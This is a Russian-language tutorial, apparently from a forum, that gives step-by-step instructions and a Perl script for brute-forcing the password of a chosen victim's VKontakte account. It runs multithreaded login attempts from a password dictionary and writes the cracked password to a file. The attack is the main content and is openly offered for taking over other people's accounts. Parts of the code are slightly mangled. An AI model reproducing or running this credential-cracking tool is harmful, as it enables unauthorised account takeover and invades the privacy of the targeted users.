итак качаем сначала прогу 1. Качаем прогу ActivePerl 5.10.0.1001 или более раннюю версию. 2. потом копируем текст в текстовый файл из кода ниже... меняешь id и мыло жертвы на нужное ,сохраняем как brut.txt 3. переименовываем файл из brute.txt в brute.pl 4. туда где лежит этот файл, копируем файл со словарём, обзывая его passl.txt Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerP or t=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while (){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; } ---------------------------------------------------------------------- Цитата:$dic = 'passl.txt'; #словарь паролей $id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 $threads = 4; #количество потоков ----------------------------------------------------------------------- Ссылка на программу: http://download.softportal.com/get-70-activeperl.html 5. запускай файл, и радуйся... 6. создастся good.txt, где и будет твой пасс.
|